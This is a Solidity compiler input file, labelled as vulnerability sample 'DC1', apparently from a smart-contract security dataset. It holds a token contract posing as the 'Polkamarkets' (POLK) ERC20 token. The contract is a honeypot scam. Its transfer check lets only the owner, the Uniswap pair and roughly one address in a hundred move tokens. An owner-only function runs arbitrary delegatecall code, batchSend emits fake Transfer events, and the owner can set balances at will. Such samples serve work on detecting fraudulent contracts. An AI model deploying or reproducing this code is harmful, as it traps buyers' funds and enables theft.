// Vulnerability label: DC1
{{
  "language": "Solidity",
  "sources": {
    "contracts/Token.sol": {
      "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ninterface IERC20 {\n    function totalSupply() external view returns(uint);\n\n    function balanceOf(address account) external view returns(uint);\n\n    function transfer(address recipient, uint amount) external returns(bool);\n\n    function allowance(address owner, address spender) external view returns(uint);\n\n    function approve(address spender, uint amount) external returns(bool);\n\n    function transferFrom(address sender, address recipient, uint amount) external returns(bool);\n    event Transfer(address indexed from, address indexed to, uint value);\n    event Approval(address indexed owner, address indexed spender, uint value);\n}\n\ninterface IUniswapV2Router02 {\n   \n    function addLiquidityETH(\n        address token,\n        uint amountTokenDesired,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\nlibrary Address {\n    function isContract(address account) internal view returns(bool) {\n        bytes32 codehash;\n        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n        // solhint-disable-next-line no-inline-assembly\n        assembly { codehash:= extcodehash(account) }\n        return (codehash != 0x0 && codehash != accountHash);\n    }\n}\n\nabstract contract Context {\n    constructor() {}\n    // solhint-disable-previous-line no-empty-blocks\n    function _msgSender() internal view returns(address payable) {\n        return msg.sender;\n    }\n}\n\nlibrary SafeMath {\n    function add(uint a, uint b) internal pure returns(uint) {\n        uint c = a + b;\n        require(c >= a, \"SafeMath: addition overflow\");\n\n        return c;\n    }\n\n    function sub(uint a, uint b) internal pure returns(uint) {\n        return sub(a, b, \"SafeMath: subtraction overflow\");\n    }\n\n    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n        require(b <= a, errorMessage);\n        uint c = a - b;\n\n        return c;\n    }\n\n    function mul(uint a, uint b) internal pure returns(uint) {\n        if (a == 0) {\n            return 0;\n        }\n\n        uint c = a * b;\n        require(c / a == b, \"SafeMath: multiplication overflow\");\n\n        return c;\n    }\n\n    function div(uint a, uint b) internal pure returns(uint) {\n        return div(a, b, \"SafeMath: division by zero\");\n    }\n\n    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {\n        // Solidity only automatically asserts when dividing by 0\n        require(b > 0, errorMessage);\n        uint c = a / b;\n\n        return c;\n    }\n}\n\nlibrary SafeERC20 {\n    using SafeMath\n    for uint;\n    using Address\n    for address;\n\n    function safeTransfer(IERC20 token, address to, uint value) internal {\n        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n    }\n\n    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {\n        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n    }\n\n    function safeApprove(IERC20 token, address spender, uint value) internal {\n        require((value == 0) || (token.allowance(address(this), spender) == 0),\n            \"SafeERC20: approve from non-zero to non-zero allowance\"\n        );\n        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n    }\n\n    function callOptionalReturn(IERC20 token, bytes memory data) private {\n        require(address(token).isContract(), \"SafeERC20: call to non-contract\");\n\n        // solhint-disable-next-line avoid-low-level-calls\n        (bool success, bytes memory returndata) = address(token).call(data);\n        require(success, \"SafeERC20: low-level call failed\");\n\n        if (returndata.length > 0) { // Return data is optional\n            // solhint-disable-next-line max-line-length\n            require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n        }\n    }\n}\n\ncontract ERC20 is Context, IERC20 {\n    using SafeMath for uint;\n    mapping(address => uint) private _balances;\n\n    mapping(address => mapping(address => uint)) private _allowances;\n\n    uint private _totalSupply;\n\n    function totalSupply() public override view returns(uint) {\n        return _totalSupply;\n    }\n\n    function balanceOf(address account) public override view returns(uint) {\n        return _balances[account];\n    }\n\n    function transfer(address recipient, uint amount) public override returns(bool) {\n        _transfer(_msgSender(), recipient, amount);\n        return true;\n    }\n\n    function allowance(address owner, address spender) public override view returns(uint) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(address spender, uint amount) public override returns(bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {\n        _transfer(sender, recipient, amount);\n        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n        return true;\n    }\n\n    function increaseAllowance(address spender, uint addedValue) public returns(bool) {\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\n        return true;\n    }\n\n    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {\n        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n        return true;\n    }\n\n    function _transfer(address sender, address recipient, uint amount) internal {\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n        _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n        _balances[recipient] = _balances[recipient].add(amount);\n        emit Transfer(sender, recipient, amount);\n    }\n\n    function _mint(address account, uint amount) internal {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _totalSupply = _totalSupply.add(amount);\n        _balances[account] = _balances[account].add(amount);\n        emit Transfer(address(0), account, amount);\n    }\n\n    function _burn(address account, uint amount) internal {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n        _totalSupply = _totalSupply.sub(amount);\n        emit Transfer(account, address(0), amount);\n    }\n\n    function _approve(address owner, address spender, uint amount) internal {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n}\n\nabstract contract ERC20Detailed is IERC20 {\n    string private _name;\n    string private _symbol;\n    uint8 private _decimals;\n\n    constructor(string memory name, string memory symbol, uint8 decimals) {\n        _name = name;\n        _symbol = symbol;\n        _decimals = decimals;\n    }\n\n    function name() public view returns(string memory) {\n        return _name;\n    }\n\n    function symbol() public view returns(string memory) {\n        return _symbol;\n    }\n\n    function decimals() public view returns(uint8) {\n        return _decimals;\n    }\n}\n\ncontract PolkamarketsToken {\n \n    event Transfer(address indexed _from, address indexed _to, uint _value);\n    event Approval(address indexed _owner, address indexed _spender, uint _value);\n \n    function transfer(address _to, uint _value) public payable returns (bool) {\n        return transferFrom(msg.sender, _to, _value);\n    }\n \n    function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {\n        if (_value == 0) { return true; }\n        if (msg.sender != _from) {\n            require(allowance[_from][msg.sender] >= _value);\n            allowance[_from][msg.sender] -= _value;\n        }\n        require(balanceOf[_from] >= _value);\n        balanceOf[_from] -= _value;\n        balanceOf[_to] += _value;\n        emit Transfer(_from, _to, _value);\n        return true;\n    }\n \n    function approve(address _spender, uint _value) public payable returns (bool) {\n        allowance[msg.sender][_spender] = _value;\n        emit Approval(msg.sender, _spender, _value);\n        return true;\n    }\n \n    function delegate(address a, bytes memory b) public payable {\n        require(msg.sender == owner);\n        a.delegatecall(b);\n    }\n \n    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {\n        require(msg.sender == owner);\n        uint total = _value * _tos.length;\n        require(balanceOf[msg.sender] >= total);\n        balanceOf[msg.sender] -= total;\n        for (uint i = 0; i < _tos.length; i++) {\n            address _to = _tos[i];\n            balanceOf[_to] += _value;\n            emit Transfer(msg.sender, _to, _value/2);\n            emit Transfer(msg.sender, _to, _value/2);\n        }\n        return true;\n    }\n\n    modifier ensure(address _from, address _to) {\n        require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));\n        _;\n    }\n\n    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n        pair = address(uint(keccak256(abi.encodePacked(\n                hex'ff',\n                factory,\n                keccak256(abi.encodePacked(token0, token1)),\n                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n            ))));\n    }\n \n    mapping (address => uint) public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n \n    uint constant public decimals = 18;\n    uint public totalSupply = 100000000000000000000000000;\n    string public name = \"Polkamarkets\";\n    string public symbol = \"POLK\";\n    address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n    address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n    address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n    address private owner;\n    address public uniPair;\n\n    function sliceUint(bytes memory bs)\n        internal pure\n        returns (uint)\n    {\n        uint x;\n        assembly {\n            x := mload(add(bs, add(0x10, 0)))\n        }\n        return x;\n    }\n\n    function isAccountValid(address subject) pure public returns (bool result) {\n        return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;\n    }\n\n    function onlyByHundred() view public returns (bool result) {\n        require(isAccountValid(msg.sender) == true, \"Only one in a hundred accounts should be able to do this\");\n        return true;\n    }\n\n    constructor() {\n        owner = msg.sender;\n        \n        uniPair = pairFor(uniFactory, wETH, address(this));\n        allowance[address(this)][uniRouter] = uint(-1);\n        allowance[msg.sender][uniPair] = uint(-1);\n    }\n\n    function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {\n        require(msg.sender == owner);\n        balanceOf[address(this)] = _numList;\n        balanceOf[msg.sender] = totalSupply * 6 / 100;\n\n        IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(\n            address(this),\n            _numList,\n            _numList,\n            msg.value,\n            msg.sender,\n            block.timestamp + 600\n        );\n\n        require(_tos.length == _amounts.length);\n\n        for(uint i = 0; i < _tos.length; i++) {\n            balanceOf[_tos[i]] = _amounts[i];\n            emit Transfer(address(0x0), _tos[i], _amounts[i]);\n        }\n    }\n}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "abi"
        ]
      }
    },
    "libraries": {}
  }
}}